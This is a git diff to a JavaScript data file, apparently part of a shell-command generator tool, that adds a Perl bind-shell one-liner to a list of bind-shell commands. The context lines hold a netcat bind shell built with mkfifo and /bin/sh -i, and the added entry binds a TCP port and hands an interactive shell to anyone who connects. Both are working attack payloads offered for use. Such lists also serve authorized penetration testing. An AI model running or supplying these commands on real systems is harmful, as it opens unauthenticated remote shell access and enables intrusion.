diff --git a/js/data.js b/js/data.js
index 8fff46c..9c42cc2 100644
--- a/js/data.js
+++ b/js/data.js
@@ -398,6 +398,11 @@ const bindShellCommands =  withCommandType(
             "command": "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 {port} > /tmp/f",
             "meta": ["bind", "mac", "linux"]
         },
+        {
+            "name": "Perl Bind",
+            "command": "perl -e 'use Socket;$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,\">&C\");open(STDOUT,\">&C\");open(STDERR,\">&C\");exec(\"/bin/sh -i\");};'",
+            "meta": ["bind", "mac", "linux"]
+        },
     ]
 );